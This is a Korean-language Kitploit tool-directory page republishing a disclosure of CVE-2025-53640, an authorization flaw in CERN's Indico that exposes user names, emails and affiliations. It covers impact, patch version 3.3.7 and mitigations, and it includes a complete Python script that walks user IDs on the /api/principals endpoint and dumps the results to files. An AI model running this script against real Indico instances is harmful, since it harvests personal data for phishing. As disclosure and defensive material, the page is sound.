Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-53640 — CERN의 Indico에서 발생하는 BOLA(Broken Object Level Authorization) 취약점으로 인해 인증된 사용자 열거가 가능합니다. | Kitploit
도구/GitHubGitHub/rafaelcorvino1/cve-2025-53640
OSINT (Open Source Intelligence)Vulnerability AnalysisWeb Application ExploitationAPI Security TestingInformation GatheringPenetration Testing
GitHubrafaelcorvino1/cve-2025-53640

CVE-2025-53640

CERN의 Indico에서 발생하는 BOLA(Broken Object Level Authorization) 취약점으로 인해 인증된 사용자 열거가 가능합니다.

저장소 보기
1168개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-53640 – CERN의 Indico 인증된 사용자 열거 (BOLA 취약점)

2025-07-19_11-19

CVE Badge

CVE-2025-53640의 PoC 및 기술 분석: Indico의 BOLA(Broken Object Level Authorization) 취약점을 통해 인증된 사용자가 엔드포인트로 사용자 열거를 수행하여 이름, 이메일, 소속을 노출할 수 있습니다. 악용 스크립트, 요청 분석, 스크린샷을 포함합니다. 전 세계에 배포된 Indico 인스턴스(유럽 입자 물리 연구소(CERN), 유엔(UN), 매사추세츠 공과대학(MIT), 유럽 우주국(ESA) 등)에 영향을 미칩니다.

설명

오픈소스 애플리케이션 _Indico_의 BOLA(Broken Object Level Authorization) 취약점으로 인해 엔드포인트를 통한 대량 사용자 열거가 가능합니다.

원래 특정 양식 필드에서 사용자 ID를 확인하기 위한 용도였던 이 엔드포인트는 모든 유효한 사용자 ID의 개인 정보를 검색하는 데 악용될 수 있습니다:

  • 전체 이름

  • 이메일 주소

  • 직함

  • 소속

  • 아바타 URL

이 취약점은 Indico 유지보수자에게 보고되어 승인되었으며, 공식적으로 CVE-2025-53640로 추적됩니다.

악용 요구 사항

  • 유효한 인증 세션이 필요합니다.

  • 그러나 대부분의 공용 Indico 인스턴스는 이메일 확인, CAPTCHA 또는 수동 승인 없이 자체 등록을 허용합니다.

  • 이로 인해 간단한 계정 생성 후 사실상 인증되지 않은 사용자도 악용할 수 있는 취약점이 됩니다.

전 세계적 영향

Indico는 CERN(유럽 입자 물리 연구소)이 개발하고 전 세계 학술 및 기관 인프라를 지원하는 널리 채택된 이벤트 및 컨퍼런스 관리 플랫폼입니다:

  • CERN(유럽 입자 물리 연구소): 연간 900,000건 이상의 이벤트, 매일 200개 이상의 회의실 예약.

  • 전 세계: 300개 이상의 기관에서 연간 약 145,000건의 이벤트.

  • UN(유엔): 연간 180,000명 이상의 참가자.

  • UNOG(유엔 제네바 사무소): 연간 최대 700,000명의 사용자.

  • 대학, 연구소, 연구 기관 및 정부 기관에서 광범위하게 사용됩니다.

영향을 받는 공용 인스턴스의 예:

  • https://indico.cern.ch

  • https://indico.esa.int

  • https://indico.mit.edu

과학, 학술, 정부 환경에서의 광범위한 사용으로 인해 이 취약점은 심각한 위험을 초래합니다:

  • 연구원, 직원 및 관리자의 신원 유출

  • 대규모 개인정보 침해 및 기관 디렉터리 노출

  • 피싱 또는 사회공학을 위한 표적 정찰

  • 민감한 연구 및 정책 이니셔티브의 잠재적 손상

영향

  • 개인 식별 정보(PII) 공개

  • 고권한 사용자(관리자, 주최자) 열거

  • 대량 피싱 및 표적 피싱 공격 지원

  • GDPR, LGPD 및 내부 기관 정책과 같은 규정을 위반

  • 관할권에 따라 신고 대상 침해 사고가 될 수 있음

패치

이 문제는 Indico v3.3.7에서 수정되었습니다.

유지보수자에 따르면 예측 가능한 ID를 통한 사용자 데이터(이름, 소속, 이메일)의 대량 덤프를 방지하도록 엔드포인트의 동작이 조정되었습니다. 또한 새로운 구성 플래그 ALLOW_PUBLIC_USER_SEARCH가 도입되었습니다.

추가 완화 조치는 다음과 같습니다:

  • 등록 이메일 확인 제한

  • 공개 검색이 비활성화된 경우 개인 링크 확인 비활성화

  • 제한된 검색에서 ACL이 없는 이벤트에 대한 UI 경고 추가

개념 증명 (PoC)

악용 코드

root@kitploit:~
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://indico.<URL>/api/principals"
headers = {
    "Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
    "Content-Type": "application/json",
    "X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}

def enumerate_users(max_errors=10):
    user_id = 1
    errors = 0
    results = []

    while errors < max_errors:
        payload = {"values": [f"User:{user_id}"]}
        response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)

        if response.status_code == 200:
            data = response.json()
            key = f"User:{user_id}"
            if key in data and not data[key].get("invalid", True):
                user = data[key]
                print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
                results.append({
                    "user_id": user_id,
                    "name": f"{user['first_name']} {user['last_name']}",
                    "email": user["email"],
                    "affiliation": user["affiliation"],
                    "title": user["title"],
                    "avatar_url": user["avatar_url"]
                })
                errors = 0
            else:
                print(f"[-] ID {user_id}: Invalid")
                errors += 1
        else:
            print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
            errors += 1
        user_id += 1

    with open("enumerated_users.json", "w", encoding="utf-8") as jf:
        json.dump(results, jf, indent=2, ensure_ascii=False)

    with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
        writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
        writer.writeheader()
        writer.writerows(results)

    print("Enumeration finished.")

if __name__ == "__main__":
    enumerate_users()
image image

완화 팁

  • 역할 또는 컨텍스트에 따라 엔드포인트 접근 제한

  • indico.conf에서 ALLOW_PUBLIC_USER_SEARCH = false 설정

  • 노출되는 사용자 필드를 필요한 정보로만 제한

  • 자체 등록 비활성화 또는 제한 (예: 이메일 확인, 관리자 승인)

  • 엔드포인트에서 모니터링 및 속도 제한 활성화

  • 즉시 Indico 3.3.7 이상으로 업그레이드

  • 열거 패턴에 대한 액세스 로그 모니터링

CVE

공식 ID: CVE-2025-53640

공개

이 취약점은 RNP(Rede Nacional de Ensino e Pesquisa – 브라질) 레드팀 레지던시 프로그램의 일환으로 수행된 보안 평가 중 발견되었습니다.

모든 연구와 테스트는 사전 승인과 감독 하에 수행되었습니다. 윤리적 지침과 인프라 지원을 제공해 준 RNP 보안 팀에 특별히 감사드립니다.

이 CVE는 민감한 기관 데이터를 관리하는 플랫폼에서 엄격한 객체 수준 접근 제어를 적용하는 것의 중요성을 강조합니다.

참고 자료

  • GitHub 보안 권고 – GHSA-q28v-664f-q6wj

  • Indico 커밋 f858355

  • NVD 기록

  • CVE.org 레지스트리

  • Indico 구성: ALLOW_PUBLIC_USER_SEARCH

  • Indico 업그레이드 가이드

  • 릴리스 노트 – v3.3.7

도구 다운로드